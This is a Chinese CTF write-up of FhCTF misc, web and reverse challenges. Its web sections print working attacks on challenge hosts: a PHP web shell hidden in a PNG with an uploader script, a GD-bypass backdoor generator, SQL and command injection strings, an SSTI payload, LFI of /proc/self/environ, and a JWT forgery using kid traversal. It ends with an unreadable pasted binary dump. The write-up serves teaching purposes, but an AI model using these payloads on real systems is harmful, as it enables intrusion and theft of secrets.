# FhCTF Writeup ``` Group : --------------------------開放團訂麥當勞底下留言+1-------------------------- Final : Rank 1(Top 1) ``` [TOC] ## Misc ### Sanity Check ![image](https://hackmd.io/_uploads/HJQuP-V4-x.png) :::success 並看如何發放獎勵。 FhCTF{S3n1ty_Ch3ck1ng....😝} 感謝本次活動 ISIP.HS 的支援與贊助。 ::: ### Christmas Tree 經典的霍夫曼編碼題 ```pyhton= import json with open('encoded_gift.txt', 'r') as f: encoded = f.read().strip() with open('huffman_tree.json', 'r') as f: huffman_tree = json.load(f) def decode_huffman(encoded_data, tree): decoded = [] current = tree for bit in encoded_data: current = current[bit] if isinstance(current, str): decoded.append(current) current = tree return ''.join(decoded) decoded_message = decode_huffman(encoded, huffman_tree) print(f"Decoded message: {decoded_message}") ``` :::success FhCTF{Hoffman_is_a_great_Christmas_tree} ::: **我要吐槽一點霍夫曼編碼的英文是"Huffman"不是"Hoffman"** ### 駭客的密碼食譜 將每個食材的數值轉換成 ASCII 字元: ``` 125 → } 110 → n 117 → u 102 → f 95 → _ 115 → s 105 → i 95 → _ 103 → g 110 → n 105 → i 107 → k 111 → o 111 → o 99 → c 123 → { 70 → F 84 → T 67 → C 104 → h 70 → F ``` :::success FhCTF{cooking_is_fun} ::: ### 笑話大師 **恭喜這題被評為最鳥的一題** ~~我就只是輸入一個?~~ ![image](https://hackmd.io/_uploads/Bk2pb5cEbl.png) :::success FhCTF{thisi_Prompt_Injection} ::: ### 分享圖庫 一進來我們可以看到這個介面只允許 PNG 上傳 ![image](https://hackmd.io/_uploads/Hyl8q8SVbl.png) 發現 PNG 有固定的 8 字節標頭,那我們就可以在標頭之後添加 PHP 代碼 ``` png_header = ( b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' b'\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4' b'\x89\x00\x00\x00\x0A\x49\x44\x41\x54\x78\x9C\x63\x00\x01\x00\x00' b'\x05\x00\x01\x0D\x0A\x2D\xB4\x00\x00\x00\x00\x49\x45\x4E\x44\xAE' b'\x42\x60\x82' ) ``` 構建 PHP Payload: 嘗試多種指令讀取方式 ```PHP php_code = b'\n\n<pre>__START__\n<?php system("env || printenv"); ?>\n__END__</pre>\n' file_content = png_header + php_code print(f"[*] Uploading payload to {UPLOAD_URL}...") try: files = {'fileToUpload': (FILENAME, file_content, 'image/png')} data = {'submit': 'Upload Image'} r = requests.post(UPLOAD_URL, files=files, data=data, timeout=10) if "has been uploaded" in r.text: print(f"[+] Upload successful!") else: print("[-] Upload failed.") print(f"Status Code: {r.status_code}") print("Response Snippet:", r.text[:300]) sys.exit() exploit_url = TARGET_URL + "uploads/" + FILENAME print(f"[*] Executing payload at {exploit_url}...") r_exec = requests.get(exploit_url, timeout=10) if r_exec.status_code == 404: print("[-] Error: 404 Not Found.") print(" The file might have been deleted by cleanup scripts or the upload path is different.") sys.exit() content = r_exec.text flag_match = re.search(r'(FhCTF\{.*?\})', content) if flag_match: print(f"\n[SUCCESS] Flag found:\n{flag_match.group(1)}\n") else: start = content.find("__START__") end = content.find("__END__") if start != -1 and end != -1: output = content[start+9:end].strip() print("\n[+] Command Output (env):") print(output) if "flag" in output.lower(): print("\n[!] 'flag' keyword found in output, please check manually above.") else: print("\n[-] Flag pattern not found automatically.") print("Raw response preview (check manually):") print(content[:500]) except requests.exceptions.ConnectionError: print(f"\n[-] Connection Error: Could not connect to {TARGET_URL}") print(" Please check if the CTF instance is still running or if the URL has changed.") except Exception as e: print(f"\n[-] An error occurred: {e}") ``` ```powershell PS C:\Users\09801\Downloads\gallery> & C:/Users/09801/AppData/Local/Microsoft/WindowsApps/python3.13.exe c:/Users/09801/Downloads/gallery/test.py [*] Target set to: http://8608faf0.fhctf.systems/ [*] Uploading payload to http://8608faf0.fhctf.systems/upload.php... [+] Upload successful! [*] Executing payload at http://8608faf0.fhctf.systems/uploads/avatar.php... [SUCCESS] Flag found: FhCTF{png_format?Cannot_stop_php!} PS C:\Users\09801\Downloads\gallery> ``` :::success FhCTF{png_format?Cannot_stop_php!} ::: ### 分享圖庫 Revenge ![image](https://hackmd.io/_uploads/Hko6W-AEZl.png) 目標 (Goal): Dockerfile 第 14 行顯示 Flag 儲存在環境變數中:ENV flag="FhCTF{fake_flag}"。 因此,我們的目標是執行 PHP 程式碼來讀取環境變數(例如使用 getenv('flag') 或 $_ENV)。 漏洞入口 (Vulnerability): upload.php 負責處理上傳。 檢查機制:它會檢查檔案是否為 PNG (exif_imagetype),並嘗試用 GD 載入 (imagecreatefrompng)。這防止了單純的「改副檔名」或「文件尾附加 PHP 代碼」。 清洗機制 (Sanitization):最關鍵的是第 49 行 imagepng($img, $target_file)。這會重繪圖片並存檔。一般的 Web Shell(例如在圖片結尾加 <?php system(...) ?>)經過這個步驟後,附加的代碼會被丟棄,只剩下純圖片數據。 檔名漏洞:第 7 行 $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);。伺服器直接使用了你上傳的檔名與副檔名。如果你上傳 shell.php,它就會存成 uploads/shell.php。 2. 解題思路 (Strategy) 我們需要利用 "PHP GD Bypass" 技術。 我們需要構造一個特殊的 PNG 圖片,使得它在被 imagecreatefrompng 讀取並由 imagepng 重新壓縮寫入後,新的圖片數據流中仍然包含 PHP 代碼。 這通常是透過操控 PNG 的 IDAT 塊(像素數據)來達成。當這些像素被壓縮算法處理時,會剛好組成類似 <?=$_GET[0]($_POST[1]);?> 的字串。 3. 攻擊步驟 (Step-by-Step) 第一步:生成 Payload 你需要一個腳本來生成這種「抗清洗」的 PNG。以下是一個常用的生成腳本(基於國外研究員的 IDAT/PLTE Bypass 技術)。 請將以下程式碼存為 gen_payload.php 並在你的電腦上用 PHP 執行它: ```PHP <?php // gen_payload.php // 產生一個可以繞過 PHP GD 重繪的 PNG Web Shell // Payload: <?=`$_GET[0]`;?> $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img, 'payload.png'); echo "Payload generated: payload.png\n"; ?> 執行後會得到 payload.png。這個圖片的特性是:即使經過 imagecreatefrompng 再 imagepng,裡面的 Hex 數據仍會包含 PHP 後門。 ``` 第二步:準備攻擊檔案 將生成的 payload.png 重新命名為 shell.php。 伺服器檢查內容:它是合法的 PNG(通過)。 伺服器存檔:存為 .php(因為我們檔名是 .php)。 伺服器清洗:Payload 的構造特性讓它在清洗後,PHP 代碼依然存在。 第三步:上傳與執行 回到題目網頁,上傳 shell.php。 因為我們的 Payload 是 <?=$_GET[0];?>,我們可以用 GET 參數傳入指令。 ```curl.exe "http://b1baf89e.fhctf.systems/uploads/shell.php?0=system" -d "1=env" --output - | Select-String "FhCTF"``` :::success FhCTF{But_I_CAN_WRITE_PHP_IN_IDAT_CHUNK} ::: ### Python Compile 在程式碼錯誤時會顯示 `Syntax Error`,代表在處理錯誤時還是會讀到檔案 可以推測可能為`LFI` 題。 在程式碼輸入框隨意輸入會造成語法錯誤的 Python 程式碼並送出,頁面會顯示 `Syntax Error`,且錯誤訊息包含 "Line N" 與該行內容的回顯。 由錯誤可推測,後端在渲染 `Syntax Error` 時,會依行數讀取來源檔案的對應行內容,且讀檔目標來自使用者的 `filename`;這形成本地檔案讀取(LFI)風險。 以 PoC 驗證,將request中的 `filename` 改為system path(如 `/proc/self/environ`),同時維持語法錯誤的程式碼,觀察錯誤訊息是否顯示該檔案內容。 為了讓error出現在第 1 行,將程式碼內容設為單一 "(",backend會再嘗試讀取 `filename` 的第 1 行並顯示在error中。 ```python monaco.editor.getModels()[0].setValue("("); ``` ```python document.querySelector('input[name="filename"]').value = '/proc/self/environ'; ``` ```python document.getElementById('compileForm').submit(); ``` 在error中可以看到 `/proc/self/environ` 的輸出,可以得到包含`FLAG=` 的 environment variable。 最後就可以拿到flag :::success FhCTF{N0t_s4f3_t0_ou7put_th3_err0r_m5g} ::: ## Survey ### Survey ![image](https://hackmd.io/_uploads/SJ20zccV-e.png) :::success FhCTF{Th4nk_y0u_f0r_y0ur_f33db4ck_7hCTF} ::: ## Web ### INTERNAL LOGIN ![image](https://hackmd.io/_uploads/S1a7i-VVbe.png) 客戶端 SQL 注入模擬,在 Username 欄位輸入 - ' or 1=1-- - ' OR '1'='1 - admin' or 1=1-- - ' || 1=1-- - anything' or 'a'='a :::success FhCTF{SQL_1nj_42_Success} ::: ### Web Robots robots.txt 對,就是 robots.txt ![image](https://hackmd.io/_uploads/Ske2eG4V-l.png) 可以看到有 ``` User-Agent * Disallow /secret ``` 那我們就直接進/secret看吧 ![image](https://hackmd.io/_uploads/Hk2efM4Vbg.png) 進 /secret 後會跳轉到 /secret/index.html ,那很明顯我們看的出來上一步就是目錄 ![image](https://hackmd.io/_uploads/Hyl6zMVN-e.png) ![image](https://hackmd.io/_uploads/rJK1QMN4-e.png) :::success FhCTF{r0b075_4r3_n0t_v15ible_in_tx7} ::: ### Doors Open ![image](https://hackmd.io/_uploads/HkgW2GEVbl.png) 一樣先看 robots.txt ![image](https://hackmd.io/_uploads/BJXBnzEVbl.png) 那就進 /doors 看看吧 ![image](https://hackmd.io/_uploads/rJdh2fNVWx.png) 這裡點開直接是 /door/1 , 那我們就開始用Burp跑0~10000,發現都不是, 看著越來越多人解,就想說應該沒那麼難吧,所以就想說會不會是負數.... ![image](https://hackmd.io/_uploads/SJ_Kaf44bl.png) ### The Visual Blind Spot 計算正確的 RGB 密鑰 ```javascript const _base = parseInt("32", 16); // "32" (十六進位) = 50 (十進位) const _kMap = { x: _base << 1, // 50 << 1 = 100 y: _base, // 50 z: _base << 2 // 50 << 2 = 200 }; ``` 正確的 RGB 值: ``` R = 100 G = 50 B = 200 ``` 解密 sys-config 數據 data-params 包含加密的數據: ```text 249|351|240|291|249|408|288|387|369|192|330|366|324|240|186|375|351|192|375|414 ``` 解密公式:charCode = (n / 3) - 13 :::success FhCTF{Stn3am_C1ph3p} ::: ### SYSTEM ROOT SHELL ![image](https://hackmd.io/_uploads/HkhleXEEWl.png) 在 script 標籤中發現 ``` javascript const _obs = [82, 67, 69, 95, 83, 117, 99, 99, 101, 115, 115, 95, 118, 51]; const _h = [70, 104, 67, 84, 70, 123]; const isInject = /[;&|]/.test(cmd); ``` ASCII 碼數組轉換為字元 ``` _h → "FhCTF{" _obs → "RCE_Success_v3" 最後加上 "}" ``` 觸發方式 ```powershell 127.0.0.1; ls 127.0.0.1 | whoami 127.0.0.1 & cat /etc/passwd ``` :::success FhCTF{RCE_Success_v3} ::: ### Welcome to Cybersecurity Jungle ![image](https://hackmd.io/_uploads/rky-b7VEZg.png) 一進來會看到上面的畫面,看 HTML source時,注意到 title 標籤包含一段日文 ``` 言語(げんご)を変(か)えても、プログラミングの本質(ほんしつ)は変(か)わらない。 ``` 意旨 "即使改變語言,編程的本質也不會改變 題目的關鍵在於設置正確的 Cookie ``` Cookie 名稱 (Base64 編碼): aXNGbGFnU2hvdzJ1 ``` 解碼後: `isFlagShow2u` ``` Cookie 值 (Base64 編碼): 44Go44GF44KL44O8 ``` 解碼後: `とぅるー (日文的 "true")` 接下來進到 Application 改 cookie 值後重新整理即可 ![image](https://hackmd.io/_uploads/B11HGXV4Wx.png) :::success FhCTF{Th3_e553nc3_of_pr0gramm1n6_is_ind3p3nden7_of_the_languag3_u53d} ::: ### Templating Danger SSTI題 繞過方法: ```python if "\\u" in val: normalize_val = val.encode("utf-8").decode('unicode_escape') context[context_key] = Template(normalize_val).render() ``` 當輸入包含 \u 時,系統會執行 Unicode 解碼,然後在過濾後直接用 Jinja2 的 Template().render() 渲染內容。這允許我們使用 Unicode 編碼繞過括號過濾。 Payload: ```python \u007b\u007bcycler.__init__.__globals__.os.environ['FLAG']\u007d\u007d ``` ![image](https://hackmd.io/_uploads/HJ0vVLHNZe.png) :::success FhCTF{T3mpl371ng_n33d_t0_b3_m0r3_c4r3full🥹} ::: ### Documents 一進來看照慣例看sources,找出隱藏字元 ![image](https://hackmd.io/_uploads/H1qeuLBNWx.png) - "HTTP Header 告訴了你一切" 檢查 HTTP 標頭發現: powerby: FastAPI FastAPI 通常有 /openapi.json 端點 ![image](https://hackmd.io/_uploads/Byf0uUSNZe.png) 可以發現 /flag.html 端點需要 Referer 標頭,所以我們需要偽造他 ```powershell Invoke-WebRequest -Uri "http://9f1604e5.fhctf.systems/flag.html" ` -Headers @{"Referer"="https://localhost.app:8000/index.html"} ` -UseBasicParsing | Select-Object -ExpandProperty Content ``` ![image](https://hackmd.io/_uploads/ryBarUrVWe.png) :::success FhCTF{URL_encod3d_m337_p47h_d15cl0sure😱😱} ::: ### LOG ACCESS ![image](https://hackmd.io/_uploads/HkPJE9qEWe.png) 這題提供了一個「安全的日誌讀取工具」,聲稱能偵測並阻擋所有 Path Traversal 攻擊 。題目明確提示:這個工具完全沒有後端,所有判斷似乎都在瀏覽器中完成。 ```javascript const check1 = input.split('.').length > 3; const check2 = input.toLowerCase().indexOf('flag') !== -1; if (check1 && check2) { const final = _h + "{" + _c1 + _c3 + "_" + _c2 + "}"; output.innerText = "ACCESS_GRANTED:\n" + final; } ``` 驗證條件非常清楚: - check1:輸入必須包含超過 3 個點(. 字元) - check2:輸入必須包含 "flag" 字串(不區分大小寫) 混淆字串解碼 JavaScript 中使用了幾個混淆的變數 : ```javascript const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join(''); // ASCII 解碼:FhCTF const _c1 = "\x50\x61\x74\x68\x5f"; // Hex 解碼:Path_ const _c2 = (21337 >> 4).toString(16); // 位元運算:21337 >> 4 = 1333,轉 hex = 535 const _c3 = "\x54\x72\x34\x76"; // Hex 解碼:Tr4v ``` 組合起來 :::success FhCTF{Path_Tr4v_535} ::: ### Pathway-leak 打開題目網站,觀察檔案管理介面與網頁原始碼。 ![image](https://hackmd.io/_uploads/rJZQr9c4Zx.png) 在 `<script>` 區塊中發現檔案載入是呼叫: ```javascript const TENANT = 'guest_user'; const url = `/api/assets/${TENANT}/${filename}`; ``` 題目另外提供的檔案清單顯示伺服器上還存在: ``` secret_admin/flag.txt (38B) ``` 推論後端 API 很可能沒有檢查目前使用者是否真的屬於該 tenant,因此直接嘗試跨 tenant 請求: ```bash curl http://71c21714.fhctf.systems/api/assets/secret_admin/flag.txt ``` 伺服器回應 HTTP 200,內容為: :::success FhCTF{p4th_tr4v3rs4l_w3_w4n7_t0_av01d} ::: ### KID 進入題目網頁後,先打開瀏覽器的「檢查元素 / 開發者工具」,在原始碼與 console/log 區可以看到幾段 Debug 訊息,直接洩漏了後端的驗證邏輯: - 金鑰路徑 Debug: ```txt [DEBUG] Fetching key from: /app/keys/default.pem ``` 這代表伺服器會根據 JWT Header 裡的 `kid`(Key ID)去檔案系統讀取金鑰,例如 `kid = "default.pem"` 對應 `/app/keys/default.pem`。 - 危險的相容模式: ```txt [DEBUG] HS256 Compatibility Mode: Enabled ``` 這表示伺服端在驗證 JWT 時,同時支援非對稱(RS256)與對稱(HS256)模式,而且實作方式存在演算法混淆風險。 - 目前權限:頁面顯示登入身份為 `guest`,顯然目標是偽造 Token 取得 `admin` 權限。 接著從 Cookie 中取出 JWT(例如 `access_token`),丟到 jwt.io 觀察內容,可以得到類似結構: - Header: ```json { "alg": "RS256", "kid": "default.pem", "typ": "JWT" } ``` - Payload: ```json { "role": "guest", "iat": 1704350000 } ``` 這些資訊已經足夠判斷:伺服器會依 `kid` 去讀檔案,並用其中內容當作金鑰來驗證 JWT。 - 漏洞原理分析 這題結合了兩個常見錯誤:**Directory Traversal** + **JWT Algorithm Confusion**。 - Directory Traversal (目錄遍歷) 後端實作概念大致類似: ```python kid = header["kid"] key_path = "/app/keys/" + kid key_data = open(key_path, "rb").read() ``` 若 `kid` 沒有過濾 `../`,攻擊者可以傳入像是: ```txt ../../../../../../dev/null ``` 讓伺服器實際去開啟的路徑變成 `/dev/null`,而不是預期的 `/app/keys/default.pem`。 雖然我們看不到檔案內容,但伺服器會「自己」幫我們載入,並當成金鑰使用,這就是利用點。 - JWT Algorithm Confusion (演算法混淆) 預期設計應該是: - 使用 `RS256`: - 使用非對稱金鑰(private key 簽發、public key 驗證)。 - `.pem` 應該被視為「公鑰」,只能用來驗證 Signature。 但現在伺服器支援 `HS256 Compatibility Mode`,實作類似: ```python if header["alg"] == "RS256": # 用 public key (pem) 驗證 elif header["alg"] == "HS256": # 仍然讀同一個 pem 檔案,但把整個內容當成 HMAC secret ``` 結果變成: - 當 `alg = HS256` 時,伺服器會把「原本是公鑰的 pem 檔內容」當成對稱金鑰(secret)來驗證 HMAC。 - 只要攻擊者「知道」這個 secret,就能在外面自己簽 Token。 問題是:`default.pem` 的內容我們不知道,所以沒辦法直接利用;但目錄遍歷讓我們可以選擇「其他檔案」來當 secret。 - 攻擊思路設計 關鍵想法: 1. 找一個「內容已知」的系統檔案,讓伺服器把它讀進來當 HMAC secret。 2. 對 Linux 來說,`/dev/null` 的內容就是空的,所以可以預期: - 程式讀取 `/dev/null` ⇒ 讀到空字串 `""`。 3. 只要我們在本地端用「空字串」當 secret,就能產出與伺服器一致的 HS256 簽章。 4. 再把 Payload 裡的 `role` 改成 `admin`,就可以偽造一個被伺服器接受的管理員 Token。 因此攻擊步驟是: - 把 JWT Header 的: - `alg` 改為 `HS256` - `kid` 改為 `../../../../../../dev/null` - 用 `key = ""` (空字串)簽 HMAC-SHA256,產生新的 Token。 - 將 Payload 中 `role` 改成 `admin`、甚至 `user` 改成 `admin`,達成提權。 - 實作 Exploit(偽造 JWT) 以下使用 Python + PyJWT 生成偽造 Token: ```python import jwt # 1. 惡意 Header:目錄遍歷指向 /dev/null,改用 HS256 headers = { "kid": "../../../../../../dev/null", "alg": "HS256", "typ": "JWT" } # 2. 惡意 Payload:直接把角色改成 admin payload = { "role": "admin", "user": "admin", "iat": 1704355555 } # 3. 簽名:密鑰為空字串,對應伺服器讀取 /dev/null 的結果 forged_token = jwt.encode( payload, key="", algorithm="HS256", headers=headers ) print("偽造的 Token:\n", forged_token) ``` 步驟: 1. 從原本 Cookie 拿到合法 JWT,確認欄位名稱(例如 `role`、`user` 等)。 2. 執行腳本,得到一個新的 `forged_token` 字串。 3. 在瀏覽器中: - F12 → Application → Cookies。 - 找到原本存 JWT 的 Cookie(例如 `access_token`)。 - 將其值整個替換為 `forged_token`。 4. 重新整理頁面。 若後端如題目描述那樣實作,伺服器會: - 看到 `alg = HS256` → 用 HMAC 模式驗證。 - 看到 `kid = ../../../../../../dev/null` → 讀取 `/dev/null` 當作 secret(空字串)。 - 用空字串驗證 HMAC Signature,因為我們本地端也是用空字串簽的,所以驗證會通過。 - Payload 裡 `role = admin`,因此認定我們是管理員。 ![image](https://hackmd.io/_uploads/HyxDe4pVWe.png) ![image](https://hackmd.io/_uploads/BkuYxE6Vbl.png) :::success FhCTF{Th3_k1d_u53d_JWT_t0_tr4v3rs3_p4th5} ::: ### Something You Put Into 檢視 `main.py`,可知flag是由系統設定取出: ```python FLAG = ChallSettings().flag ``` 確認 `ChallSettings()` 會從 env variable 中讀取 Flag。 檢查 Docker YAML 設定檔,可發現 Flag 以 plain text 形式存在環境變數設定中。 :::success FhCTF{🐷B3_c4r3ful_y0ur_SQL_synt4x🐷} ::: ## Reverse ### 簡易腳本閱讀器 - 先看PY,從第 2 行開始,跳過了 Flag ![image](https://hackmd.io/_uploads/SykmTIHNZl.png) - 用戶輸入可以修改列表中的任何位置 ![image](https://hackmd.io/_uploads/B1Hw6IH4be.png) - JUMP 指令可以改變指令指針到任何索引 ![image](https://hackmd.io/_uploads/H15jpISNbg.png) 那其實我們直接輸入 "JUMP 0" 就好了 ![image](https://hackmd.io/_uploads/rytxR8S4bl.png) :::success FhCTF{f1l3_10_and_jumb_m4st3r} ::: ### OBF 先看code,使用了大量的混淆技術: - 變數單字母命名 (K, H, G, J, C 等) - 簡化的內置函數 (A=enumerate, E=chr, F=ord) - 狀態機設計 (使用字典和指針) - 魔法數字和字符串 code實現了一個狀態機,按以下順序執行: ```text 狀態 1: XOR 66 解碼 資料: [58,34,118,...,34] 結果: '|`0|`.T1W0.`,`k`' 狀態 5: 字符串反向 資料: 'wEGLxxnj0nbU2fsm' 反向: 'msfU2bn0jnxxLGEw' 狀態 2: Base64 解碼 資料: 'WEVBVldCWkM1UVBWQktHeA==' 解碼: 'XEAVWBZC5QPVBKHX' 狀態 3: 字符減 5 資料: 'GFVzRJI9IctWCFa[' 結果: 'BAQuMED4D^oR>A\V' 狀態 4: 驗證完成 檢查密鑰長度 >= 64 ✓ 完整密鑰 (64 字符) ``` ```text |`0|`.T1W0.`,`k`BAQuMED4D^oR>A\VXEAVWBZC5QP... ``` 這個密鑰是通過 4 部分組合而成: - XOR with 66: |0|.T1W0.,`k` (16 字符) - 字符 - 5: BAQuMED4D^oR>A\V (16 字符) - Base64 解碼: XEAVWBZC5QPVBKHX (16 字符) - 字符串反向: msfU2bn0jnxxLGEw (16 字符) 解密過程 給定的加密輸出: ```text 3e08772c224960093145070318575a0e741e050c7a2d745a1b6f5a0d5834322b ``` 使用密鑰進行 XOR 解密: ```python flag = ''.join([chr(int(hex_pair, 16) ^ ord(key[i % 64])) for i, hex_pair in enumerate(hex_pairs)]) ``` :::success FhCTF{P0lym0rph1c_Crypt0} ::: ### The Lock 使用 IDA 靜態分析 #### 主函數 (main) 邏輯 透過 IDA Pro 反編譯後,可以看到 main 函數的流程如下: 格式檢查 (check_header):檢查輸入是否以 FhCTF{ 開頭並以 } 結尾。 核心驗證 (check_password):這是最關鍵的函數,若回傳值為真,則代表 Flag 正確。 #### 驗證函數 (check_password) 分析 進入 check_password 函數後,可以觀察到以下關鍵點: 字串處理:程式使用 substr 提取了花括號內的內容。 長度限制:內容長度必須正好為 26 個字元。 關鍵數據: v6 (金鑰陣列): [85, 51, 102, 17] v7 (目標數值陣列): [7, 2, 20, 40, 47, 74, 97, 92, 32, 111, 21, 54, 83, 26, 113, 129, 132, 127, 37, 116, 140, 106, 101, 126, 87, 54] 演算法公式: $$v7[i] = (v6[i \pmod 4] \oplus \text{input}[i]) + 2 \times i$$ #### 演算法還原與逆向 為了得到原始輸入,我們需要將上述公式進行移項,反推 $\text{input}[i]$: 先處理加法偏移:$X = v7[i] - 2 \times i$ 再處理異或運算:$\text{input}[i] = X \oplus v6[i \pmod 4]$ 自動化解密腳本 (Python) 為了快速得到結果,我們編寫以下腳本: ```Python target = [7, 2, 20, 40, 47, 74, 97, 92, 32, 111, 21, 54, 83, 26, 113, 129, 132, 127, 37, 116, 140, 106, 101, 126, 87, 54] key = [85, 51, 102, 17] flag_content = "" for i in range(len(target)): # 逆向公式:(v7[i] - 2*i) XOR v6[i%4] char_code = (target[i] - 2 * i) ^ key[i % 4] flag_content += chr(char_code) print(f"Flag: FhCTF{{{flag_content}}}") ``` #### 最終結果 經過腳本執行,花括號內的字串為 R3v3rs3_Eng1n33r1ng_1s_Ar7。 Flag 內容分析:該字串是 Leet Speak 形式的「Reverse Engineering Is Art」。 最終答案: :::success FhCTF{R3v3rs3_Eng1n33r1ng_1s_Ar7} ::: ### 壞掉的解碼器 給了兩個檔案 ![{EFEA1592-5D42-4F42-A2D1-A2F66BD88A55}](https://hackmd.io/_uploads/HyoqugGBZe.png) 其中encrypted_flag裡有 ![{58654F7F-3F17-4FA5-AEAC-649927D2FA73}](https://hackmd.io/_uploads/HJZ0deGBWl.png) decrypt裡有 ``` ELF  >  € @ ? @ 8 @     @ @ @ ? ?            ? ?       ! !         X- X= X= ? @    h- h= h=      8 8 8 0 0    h h h D D  S廞d 8 8 8 0 0  P廞d d d d \ \  Q廞d  R廞d X- X= X= ? ?  /lib64/ld-linux-x86-64.so.2   GNU  ?  € ?     GNU e諲p6N)L?   GNU       ?!    胗姲r?%m C慝驧?C {  d  ?  ?  ?  ?  d  u  ?  ?  ^  F    , ?  ? " ?   `A  ?   €B   "  ? ? T   @@  __gmon_start__ _ITM_deregisterTMCloneTable _ITM_registerTMCloneTable _ZSt17__istream_extractRSiPcl _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ _ZSt3cin _ZNSolsEPFRSoS_E _ZSt4cerr _ZSt21ios_base_library_initv _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_ _ZSt4cout fgets __stack_chk_fail fopen strlen __isoc23_strtol __libc_start_main __cxa_finalize fclose fputc libstdc++.so.6 libc.so.6 GLIBCXX_3.4.29 GLIBCXX_3.4.32 GLIBCXX_3.4 GLIBC_2.38 GLIBC_2.4 GLIBC_2.34 GLIBC_2.2.5                       ?  @ y? ?  B?  ?  t)?  ?   ?  ??    ii    ??    ui  # X=  ` `=   @  @ ?   ?   ?   ?  ?   ?   @@   `A   €B   €?  ?  ?  ?  ? ?  ? ? ? ?  ?H?? Ht粀? 5J/ %L/ @ ? 殪f 橏f 樲f 斢f 憸f ?f ?f 廨f 嶵f 嬙f?%? fD ??%? fD ??%? fD ??%? fD ??%~. fD ??%v. fD ??%n. fD ??%f. fD ??%^. fD ??%V. fD ??%N. fD ??檌^HH癚TE1?亍?? ;. 灀.? H?Y. H?R. H9黂H?. Ht ?€ ?€ H?). H?". H)H鍔?H霞H韆毤tH?? Ht趒D ?€ ??=e1 u+UH?? Ht H?? ??鋄?=1 ]? ?€ ?w?HH轣? i鴦N艷90 %H?H? ]鏤HH駍E? ??釓?)?禧?? 壁?E?H?? u?E鏤H?E?貸?E?輾???貸 +E?輾??礑鏤HH H輤輤霂?H齴H轣H輤陊 H?H? t,H轣H輤?? < t妲轣H輤?? < t?卍?HHP dH?%( H?隨?[ HH?? H??H?蹥HH?? H噮 H?: HH?[, H??H?蹧HH?b- H駉 H?蹥H? HH??H?瞰H瞰 u5H?? HH??. H閫?H?? HH韏?? 嬐 H?瞰H?媻? H駗?HtH?瞰H銶?? ? H?媻H鋃?H?瞰H?膣? H??Ht ?膣 H?膣H??H?瞰H??H?蹧H?9 HH??H?H u5H? HH?I- H鞊?H?? HH餈?? 嶧 H?膣H???渾f?渮 ?軷 H?媻H遯?H?唅H?軾 濎 H?媻H?軾H?? ?渮H?軾H?媻?缿H?渮? ? H鋓??欲?欲?荻?欲? 駏??欲H?渾H???€€€H純H錘 錘 鎂)?????壺0??荻?渾???欲H?H韐?H?軾H?軾H;??H?H輘?? H鷣H+%( t遰?卍?HH H輤詡?H轣轣詡輤H鄫?H駓? ?H?   Input Filename: Output Filename: r Error opening input file. w Error opening output file.  ;X 潘? l?? |?? ?t ?? 7? |?$ 梃D ?d n??  zR x ?   & D  $ 4 (?? FJ w€ ?9*3$"  \ 堆  t 剁?  ? ?2 E?C i   ? +?E E?C |   ? P?5 E?C l   ? e?o E?C f    渤N E?C E   , 碠? E?C v  `   ?  ?    X=    `=   蘥o ?  ?  ? /    h?  ?    ?      ?o   ?o X o  ?o ( ?o  h= 0 @ P ` p € ? ? ? ? @ GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0   ?   ?   ?    ?   ? 3    I     U   `= |   ` ?   X= ?  ? ?   `  ?   a     b    ? L   "  ? Z  d m   h= v   h? ? "  ? ? ?   @ ?  @ ?    ? " ?     ? N   X  @ e    o y     ?   € & ?   ? 5 ?  ?    "   i 2 3  N   T  @ `  r  ?   @@  ?   ? E ?   @ ?    ?   @@ ?  ?    7 S   `A  h w ?   €B  ?  Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry decrypt.cpp _ZNSt8__detail30__integer_to_chars_is_unsignedIjEE _ZNSt8__detail30__integer_to_chars_is_unsignedImEE _ZNSt8__detail30__integer_to_chars_is_unsignedIyEE __FRAME_END__ __GNU_EH_FRAME_HDR _DYNAMIC _GLOBAL_OFFSET_TABLE_ _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_ _edata _IO_stdin_used __cxa_finalize@GLIBC_2.2.5 strlen@GLIBC_2.2.5 main _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_@GLIBCXX_3.4 __dso_handle _Z13removeNewlinePc _fini __libc_start_main@GLIBC_2.34 _Z11rotateRighthi _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@GLIBCXX_3.4 fclose@GLIBC_2.2.5 _ZNSolsEPFRSoS_E@GLIBCXX_3.4 _Z10getNextKeyRj __stack_chk_fail@GLIBC_2.4 _init __TMC_END__ fopen@GLIBC_2.2.5 fputc@GLIBC_2.2.5 _ZSt4cout@GLIBCXX_3.4 _Z12generateSeedPKc __data_start _end __bss_start _ZSt21ios_base_library_initv@GLIBCXX_3.4.32 fgets@GLIBC_2.2.5 _ZSt17__istream_extractRSiPcl@GLIBCXX_3.4.29 